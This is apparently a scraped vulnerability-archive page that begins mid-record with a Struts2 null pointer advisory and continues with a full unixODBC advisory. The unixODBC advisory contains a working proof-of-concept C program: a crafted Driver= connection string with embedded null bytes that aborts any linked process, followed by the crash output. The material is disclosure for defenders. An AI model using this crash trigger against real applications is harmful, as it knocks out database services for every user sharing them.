\napps/showcase/src/main/java/org/apache/struts2/showcase/fileupload/MultipleFileUploadUsingArrayAction.java, lines 41-45\n\n```java\n        if (acceptedFiles.isEmpty()) {\n            LOG.debug(\"No files have been uploaded/accepted\");\n        } else {\n            LOG.debug(\"Passing: {} uploaded file(s) to action\", acceptedFiles.size());\n            action.withUploadedFiles(acceptedFiles);\n        }\n\n        // invoke action\n        return invocation.invoke();\n```\nSnippet from `struts2-core`\u0027s core/src/main/java/org/apache/struts2/interceptor/ActionFileUploadInterceptor.java, lines \n278-286, showing both fields left unset whenever no files are accepted\n\nSelectHandle -- Option Group Rendering Dereferences an Unresolved Lookup\n`SelectHandler.writeOptionGroup()`, in `struts2-javatemplates-plugin`, calls `toString()` directly on the object \nreturned by a value-stack lookup for a configured list-key or list-value property without a nullness check, even though \nthe sibling top-level list-rendering code in the very same class already null-checks the identical lookup before \ncalling `toString()` on it.\n\n```java\n                Object tmpKey = stack.findValue(listKey != null ? listKey : \"top\");\n                String tmpKeyStr = StringUtils.defaultString(tmpKey.toString());\n                Object tmpValue = stack.findValue(listValue != null ? listValue : \"top\");\n                String tmpValueStr = StringUtils.defaultString(tmpValue.toString());\n```\nCode snippet from `struts2-javatemplates-plugin`\u0027s \nplugins/javatemplates/src/main/java/org/apache/struts2/views/java/simple/SelectHandler.java, lines 135-138\n\n```java\n                //key\n                Object itemKey = findValue(listKey != null ? listKey : \"top\");\n      "
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-11-13T01:56:53Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description",
            "exploit"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/19"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Nov/19"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Nov/19"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "Apache Struts2 Core and Plugins \u003c=7.4.0 Multiple Null Pointer Exceptions",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0558",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/19",
            "automated": true,
            "contentSha256": "076c050584bd1d6519a549bdbb565e8ed8e930955afd42647f27cf348ab3dc3e",
            "evidenceScore": 9,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Nov/19",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-11-08T22:25:43Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-11-13T01:56:53Z",
    "dateUpdated": "2026-11-13T01:56:53Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0558"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}

GCVE-1988-2026-0557

Vulnerability from gna-1988 – Published: 2026-11-13 01:56 – Updated: 2026-11-13 01:56
VLAI
Title
unixODBC <=2.3.14 Input Validation Causes Downstream Assertion Failure
Summary
unixODBC versions <=2.3.14 do not validate the `Driver=` value of a connection string before passing it to its bundled dynamic-loading library (`libltdl`). When the derived library base name or file name is empty -- for example because the value contains an embedded null byte, has a trailing slash, or is empty -- an `assert()` is triggered, rather than returning an error, causing the entire process to abort. Impact An attacker who can influence the `Driver=` value of an Open Database Connectivity (ODBC) connection string -- whether through direct input, a connection-string injection vector, or a malicious Data Source Name (DSN) configuration file -- can reliably crash any application linked against unixODBC. This denial-of-service (DoS) condition only requires ability to supply a malformed connection string. Since the crash occurs via `abort()` following a failed assertion, graceful error handling or recovery is impossible -- the entire process is terminated unconditionally and immediately, bypassing all application-level exception handling, logging, and cleanup routines. In multi-tenant or connection-pooling environments, a single malicious connection string brings down the entire pooling service, denying database access to every concurrent user and leaving in-flight transactions and resources in an inconsistent state. As an aside, this is why `assert` has always been considered inappropriate for production code across all major coding standards and since it was first created, although unixODBC should be properly validating the input regardless. Examples Code review, and proven via testing, identified multiple distinct use cases, each of which triggers the assertion for the same reason -- the memory address evaluated by the assertion contains a `null` terminator. When a trailing slash is present, `base_name = strrchr (canonical, '/')` locates the final slash and the library increments the `base_name` pointer forward by one byte. Since a trailing slash means the next byte is the string's `null` terminator, the safety macro fails. Alternatively, if the string is completely empty or begins with a `null` byte, `strrchr` returns `NULL` and the fallback assignment `MEMREASSIGN (base_name, canonical)` sets `base_name` to an empty string, similarly failing the `assert (base_name && *base_name)` check and crashing the runtime. ```c /* Try to open FILENAME as a module. */ static int try_dlopen (lt_dlhandle *phandle, const char *filename, const char *ext, lt_dladvise advise) { const char * saved_error = 0; char * archive_name = 0; char * canonical = 0; char * base_name = 0; char * dir = 0; char * name = 0; char * attempt = 0; int errors = 0; lt_dlhandle newhandle; assert (phandle); assert (*phandle == 0); #ifdef LT_DEBUG_LOADERS fprintf (stderr, "try_dlopen (%s, %s)\n", filename ? filename : "(null)", ext ? ext : "(null)"); #endif LT__GETERROR (saved_error); /* dlopen self? */ if (!filename) { *phandle = (lt_dlhandle) lt__zalloc (sizeof (struct lt__handle)); if (*phandle == 0) return 1; newhandle = *phandle; /* lt_dlclose()ing yourself is very bad! Disallow it. */ newhandle->info.is_resident = 1; if (tryall_dlopen (&newhandle, 0, advise, 0) != 0) { FREE (*phandle); return 1; } goto register_handle; } assert (filename && *filename); if (ext) { attempt = MALLOC (char, LT_STRLEN (filename) + LT_STRLEN (ext) + 1); if (!attempt) return 1; sprintf(attempt, "%s%s", filename, ext); } else { attempt = lt__strdup (filename); if (!attempt) return 1; } /* Doing this immediately allows internal functions to safely assume only canonicalized paths are passed. */ if (canonicalize_path (attempt, &canonical) != 0) { ++errors; goto cleanup; } /* If the canonical module name is a path (relative or absolute) then split it into a directory part and a name part. */ base_name = strrchr (canonical, '/'); if (base_name) { size_t dirlen = (1+ base_name) - canonical; dir = MALLOC (char, 1+ dirlen); if (!dir) { ++errors; goto cleanup; } strlcpy (dir, canonical, dirlen); dir[dirlen] = LT_EOS_CHAR; ++base_name; } else MEMREASSIGN (base_name, canonical); assert (base_name && *base_name); ``` Code snippet from `libltdl`'s libltdl/ltdl.c, lines 1157-1251 ```c static void *odbc_dlopen( char *libname, char **err ) { void *hand; struct lib_count *list; mutex_lib_entry(); /* * have we already got it ? */ list = lib_list; while( list ) { if ( strcmp( list -> lib_name, libname ) == 0 ) { break; } list = list -> next; } if ( list ) { list -> count ++; hand = list -> handle; } else { hand = lt_dlopen( libname ); ``` Code from `unixODBC`'s DriverManager/SQLConnect.c, lines 811-840 ```bash cat > /tmp/repro_browse.c << 'EOF' #include <sql.h> #include <sqlext.h> #include <string.h> int main(void) { SQLHENV hEnv; SQLHDBC hDbc; SQLAllocHandle(SQL_HANDLE_ENV, SQL_NULL_HANDLE, &hEnv); SQLSetEnvAttr(hEnv, SQL_ATTR_ODBC_VERSION, (SQLPOINTER)SQL_OV_ODBC3, 0); SQLAllocHandle(SQL_HANDLE_DBC, hEnv, &hDbc); /* Connection string with null bytes embedded in the Driver value */ char connStr[] = "Driver={/\x00\x00\x00\x00\x00\x00\x00\x00" "opt/amazon/redshifto" "Amazon Redshift ODBC }\x00\x00\x00\x00" "x64)};Server=host;Port=5439;" "UID=u;PWD=p;LoginTimeout=5;"; SQLCHAR outBuf[1024]; SQLSMALLINT outLen; /* This call aborts the process via libltdl's try_dlopen() assertion */ SQLDriverConnect(hDbc, NULL, (SQLCHAR *)connStr, (SQLSMALLINT)(sizeof(connStr) - 1), outBuf, sizeof(outBuf), &outLen, SQL_DRIVER_NOPROMPT); SQLFreeHandle(SQL_HANDLE_DBC, hDbc); SQLFreeHandle(SQL_HANDLE_ENV, hEnv); return 0; } EOF gcc -g -O0 -o /tmp/repro_browse /tmp/repro_browse.c -lodbc valgrind --tool=memcheck --track-origins=yes /tmp/repro_browse ``` Code to elicit the crash ```text repro_browse: ltdl.c:1251: try_dlopen: Assertion `base_name && *base_name' failed. ==1242142== ==1242142== Process terminating with default action of signal 6 (SIGABRT): dumping core ==1242142== at 0x498C02C: __pthread_kill_implementation (in /usr/lib64/libc.so.6) ==1242142== by 0x493EB85: raise (in /usr/lib64/libc.so.6) ==1242142== by 0x4928872: abort (in /usr/lib64/libc.so.6) ==1242142== by 0x492879A: __assert_fail_base.cold (in /usr/lib64/libc.so.6) ==1242142== by 0x49378C5: __assert_fail (in /usr/lib64/libc.so.6) ==1242142== by 0x48D0845: try_dlopen (ltdl.c:1251) ==1242142== by 0x48D15DA: lt_dlopenadvise (ltdl.c:1671) ==1242142== by 0x48D14C4: lt_dlopen (ltdl.c:1626) ==1242142== by 0x486B76A: odbc_dlopen (SQLConnect.c:842) ==1242142== by 0x486C048: __connect_part_one (SQLConnect.c:1182) ==1242142== by 0x4877DCF: SQLDriverConnect (SQLDriverConnect.c:1410) ==1242142== by 0x4012C3: main (repro_browse.c:21) ==1242142== ==1242142== HEAP SUMMARY: ==1242142== in use at exit: 73,962 bytes in 26 blocks ==1242142== total heap usage: 188 allocs, 162 frees, 181,146 bytes allocated ==1242142== ==1242142== LEAK SUMMARY: ==1242142== definitely lost: 0 bytes in 0 blocks ==1242142== indirectly lost: 0 bytes in 0 blocks ==1242142== possibly lost: 0 bytes in 0 blocks ==1242142== still reachable: 73,962 bytes in 26 blocks ==1242142== suppressed: 0 bytes in 0 blocks ==1242142== ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 0 from 0) ``` Output from Valgrind, reproduced independently under AddressSanitizer _______________________________________________ Sent through the Full Disclosure mailing list https://nmap.org/mailman/listinfo/fulldisclosure Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
VULNARCHIVE GNA GNA-1988
GNA scorecard E 38/100 over 581 records in the last 180 days details
Impacted products
Vendor Product Version
Unixodbc <=2.3.14 Input Affected: unknown
Create a notification for this product.

{
  "containers": {
    "cna": {
      "affected": [
        {
          "product": "\u003c=2.3.14 Input",
          "vendor": "Unixodbc",
          "versions": [
            {
              "status": "affected",
              "version": "unknown"
            }
          ]
        }
      ],
      "credits": [
        {
          "lang": "en",
          "type": "finder",
          "value": "Daniel Owens via Fulldisclosure"
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "unixODBC versions \u003c=2.3.14 do not validate the `Driver=` value of a connection string before passing it to its bundled \ndynamic-loading library (`libltdl`).  When the derived library base name or file name is empty -- for example because \nthe value contains an embedded null byte, has a trailing slash, or is empty -- an `assert()` is triggered, rather than \nreturning an error, causing the entire process to abort.\n\nImpact\nAn attacker who can influence the `Driver=` value of an Open Database Connectivity (ODBC) connection string -- whether \nthrough direct input, a connection-string injection vector, or a malicious Data Source Name (DSN) configuration file -- \ncan reliably crash any application linked against unixODBC.  This denial-of-service (DoS) condition only requires \nability to supply a malformed connection string.  Since the crash occurs via `abort()` following a failed assertion, \ngraceful error handling or recovery is impossible -- the entire process is terminated unconditionally and immediately, \nbypassing all application-level exception handling, logging, and cleanup routines.  In multi-tenant or \nconnection-pooling environments, a single malicious connection string brings down the entire pooling service, denying \ndatabase access to every concurrent user and leaving in-flight transactions and resources in an inconsistent state.\n\nAs an aside, this is why `assert` has always been considered inappropriate for production code across all major coding \nstandards and since it was first created, although unixODBC should be properly validating the input regardless.\n\nExamples\nCode review, and proven via testing, identified multiple distinct use cases, each of which triggers the assertion for \nthe same reason -- the memory address evaluated by the assertion contains a `null` terminator.  When a trailing slash \nis present, `base_name = strrchr (canonical, \u0027/\u0027)` locates the final slash and the library increments the `base_name` \npointer forward by one byte.  Since a trailing slash means the next byte is the string\u0027s `null` terminator, the safety \nmacro fails.  Alternatively, if the string is completely empty or begins with a `null` byte, `strrchr` returns `NULL` \nand the fallback assignment `MEMREASSIGN (base_name, canonical)` sets `base_name` to an empty string, similarly failing \nthe `assert (base_name \u0026\u0026 *base_name)` check and crashing the runtime.\n\n```c\n/* Try to open FILENAME as a module. */\nstatic int\ntry_dlopen (lt_dlhandle *phandle, const char *filename, const char *ext,\n                    lt_dladvise advise)\n{\n  const char *    saved_error       = 0;\n  char * archive_name = 0;\n  char * canonical           = 0;\n  char * base_name       = 0;\n  char * dir                          = 0;\n  char * name                    = 0;\n  char *        attempt                        = 0;\n  int                        errors                   = 0;\n  lt_dlhandle      newhandle;\n\n  assert (phandle);\n  assert (*phandle == 0);\n\n#ifdef LT_DEBUG_LOADERS\n  fprintf (stderr, \"try_dlopen (%s, %s)\\n\",\n                   filename ? filename : \"(null)\",\n                   ext ? ext : \"(null)\");\n#endif\n\n  LT__GETERROR (saved_error);\n\n  /* dlopen self? */\n  if (!filename)\n    {\n      *phandle = (lt_dlhandle) lt__zalloc (sizeof (struct lt__handle));\n      if (*phandle == 0)\n                return 1;\n\n      newhandle  = *phandle;\n\n      /* lt_dlclose()ing yourself is very bad!  Disallow it.  */\n      newhandle-\u003einfo.is_resident = 1;\n\n      if (tryall_dlopen (\u0026newhandle, 0, advise, 0) != 0)\n                {\n                  FREE (*phandle);\n                  return 1;\n                }\n\n      goto register_handle;\n    }\n\n  assert (filename \u0026\u0026 *filename);\n\n  if (ext)\n    {\n      attempt = MALLOC (char, LT_STRLEN (filename) + LT_STRLEN (ext) + 1);\n      if (!attempt)\n                return 1;\n\n      sprintf(attempt, \"%s%s\", filename, ext);\n    }\n  else\n    {\n      attempt = lt__strdup (filename);\n      if (!attempt)\n                return 1;\n    }\n\n  /* Doing this immediately allows internal functions to safely\n     assume only canonicalized paths are passed.  */\n  if (canonicalize_path (attempt, \u0026canonical) != 0)\n    {\n      ++errors;\n      goto cleanup;\n    }\n\n  /* If the canonical module name is a path (relative or absolute)\n     then split it into a directory part and a name part.  */\n  base_name = strrchr (canonical, \u0027/\u0027);\n  if (base_name)\n    {\n      size_t dirlen = (1+ base_name) - canonical;\n\n      dir = MALLOC (char, 1+ dirlen);\n      if (!dir)\n                {\n                  ++errors;\n                  goto cleanup;\n                }\n\n      strlcpy (dir, canonical, dirlen);\n      dir[dirlen] = LT_EOS_CHAR;\n\n      ++base_name;\n    }\n  else\n    MEMREASSIGN (base_name, canonical);\n\n  assert (base_name \u0026\u0026 *base_name);\n```\nCode snippet from `libltdl`\u0027s libltdl/ltdl.c, lines 1157-1251\n\n```c\nstatic void *odbc_dlopen( char *libname, char **err )\n{\n    void *hand;\n    struct lib_count *list;\n\n    mutex_lib_entry();\n\n    /*\n     * have we already got it ?\n     */\n\n    list = lib_list;\n    while( list )\n    {\n        if ( strcmp( list -\u003e lib_name, libname ) == 0 )\n        {\n            break;\n        }\n\n        list = list -\u003e next;\n    }\n\n    if ( list )\n    {\n        list -\u003e count ++;\n        hand = list -\u003e handle;\n    }\n    else\n    {\n        hand = lt_dlopen( libname );\n```\nCode from `unixODBC`\u0027s DriverManager/SQLConnect.c, lines 811-840\n\n```bash\ncat \u003e /tmp/repro_browse.c \u003c\u003c \u0027EOF\u0027\n#include \u003csql.h\u003e\n#include \u003csqlext.h\u003e\n#include \u003cstring.h\u003e\n\nint main(void) {\n    SQLHENV hEnv;\n    SQLHDBC hDbc;\n    SQLAllocHandle(SQL_HANDLE_ENV, SQL_NULL_HANDLE, \u0026hEnv);\n    SQLSetEnvAttr(hEnv, SQL_ATTR_ODBC_VERSION, (SQLPOINTER)SQL_OV_ODBC3, 0);\n    SQLAllocHandle(SQL_HANDLE_DBC, hEnv, \u0026hDbc);\n\n    /* Connection string with null bytes embedded in the Driver value */\n    char connStr[] = \"Driver={/\\x00\\x00\\x00\\x00\\x00\\x00\\x00\\x00\"\n                     \"opt/amazon/redshifto\"\n                     \"Amazon Redshift ODBC }\\x00\\x00\\x00\\x00\"\n                     \"x64)};Server=host;Port=5439;\"\n                     \"UID=u;PWD=p;LoginTimeout=5;\";\n    SQLCHAR outBuf[1024];\n    SQLSMALLINT outLen;\n\n    /* This call aborts the process via libltdl\u0027s try_dlopen() assertion */\n    SQLDriverConnect(hDbc, NULL,\n                     (SQLCHAR *)connStr, (SQLSMALLINT)(sizeof(connStr) - 1),\n                     outBuf, sizeof(outBuf), \u0026outLen,\n                     SQL_DRIVER_NOPROMPT);\n\n    SQLFreeHandle(SQL_HANDLE_DBC, hDbc);\n    SQLFreeHandle(SQL_HANDLE_ENV, hEnv);\n    return 0;\n}\nEOF\ngcc -g -O0 -o /tmp/repro_browse /tmp/repro_browse.c -lodbc\nvalgrind --tool=memcheck --track-origins=yes /tmp/repro_browse\n```\nCode to elicit the crash\n\n```text\nrepro_browse: ltdl.c:1251: try_dlopen: Assertion `base_name \u0026\u0026 *base_name\u0027 failed.\n==1242142==\n==1242142== Process terminating with default action of signal 6 (SIGABRT): dumping core\n==1242142==    at 0x498C02C: __pthread_kill_implementation (in /usr/lib64/libc.so.6)\n==1242142==    by 0x493EB85: raise (in /usr/lib64/libc.so.6)\n==1242142==    by 0x4928872: abort (in /usr/lib64/libc.so.6)\n==1242142==    by 0x492879A: __assert_fail_base.cold (in /usr/lib64/libc.so.6)\n==1242142==    by 0x49378C5: __assert_fail (in /usr/lib64/libc.so.6)\n==1242142==    by 0x48D0845: try_dlopen (ltdl.c:1251)\n==1242142==    by 0x48D15DA: lt_dlopenadvise (ltdl.c:1671)\n==1242142==    by 0x48D14C4: lt_dlopen (ltdl.c:1626)\n==1242142==    by 0x486B76A: odbc_dlopen (SQLConnect.c:842)\n==1242142==    by 0x486C048: __connect_part_one (SQLConnect.c:1182)\n==1242142==    by 0x4877DCF: SQLDriverConnect (SQLDriverConnect.c:1410)\n==1242142==    by 0x4012C3: main (repro_browse.c:21)\n==1242142==\n==1242142== HEAP SUMMARY:\n==1242142==     in use at exit: 73,962 bytes in 26 blocks\n==1242142==   total heap usage: 188 allocs, 162 frees, 181,146 bytes allocated\n==1242142==\n==1242142== LEAK SUMMARY:\n==1242142==    definitely lost: 0 bytes in 0 blocks\n==1242142==    indirectly lost: 0 bytes in 0 blocks\n==1242142==      possibly lost: 0 bytes in 0 blocks\n==1242142==    still reachable: 73,962 bytes in 26 blocks\n==1242142==         suppressed: 0 bytes in 0 blocks\n==1242142== ERROR SUMMARY: 0 errors from 0 contexts (suppressed: 0 from 0)\n```\nOutput from Valgrind, reproduced independently under AddressSanitizer\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-11-13T01:56:53Z",
        "orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
        "shortName": "VULNARCHIVE"
      },
      "references": [
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/20"
        },
        {
          "tags": [
            "technical-description"
          ],
          "url": "https://seclists.org/fulldisclosure/2026/Nov/20"
        },
        {
          "url": "https://nmap.org/mailman/listinfo/fulldisclosure"
        },
        {
          "url": "https://seclists.org/fulldisclosure/"
        }
      ],
      "source": {
        "defect": [
          "https://seclists.org/fulldisclosure/2026/Nov/20"
        ],
        "discovery": "EXTERNAL"
      },
      "title": "unixODBC \u003c=2.3.14 Input Validation Causes Downstream Assertion Failure",
      "x_gcve": [
        {
          "recordType": "advisory",
          "relationships": [],
          "vulnId": "GCVE-1988-2026-0557",
          "x_vulnarchive": {
            "archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Nov/20",
            "automated": true,
            "contentSha256": "7ba79fdd87d8f6fd4042f7ca12a25c720e41f2895cb817415e9b2bb1e91dee49",
            "evidenceScore": 7,
            "messageId": "",
            "originalUrl": "https://seclists.org/fulldisclosure/2026/Nov/20",
            "policy": "vulnarchive-1",
            "sourceFormat": "text/html",
            "sourcePublishedAt": "2026-11-09T22:33:05Z"
          }
        }
      ]
    }
  },
  "cveMetadata": {
    "assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
    "assignerShortName": "VULNARCHIVE",
    "datePublished": "2026-11-13T01:56:53Z",
    "dateUpdated": "2026-11-13T01:56:53Z",
    "state": "PUBLISHED",
    "vulnId": "GCVE-1988-2026-0557"
  },
  "dataType": "CVE_RECORD",
  "dataVersion": "5.2"
}
displaying 11 - 20 publications in total 581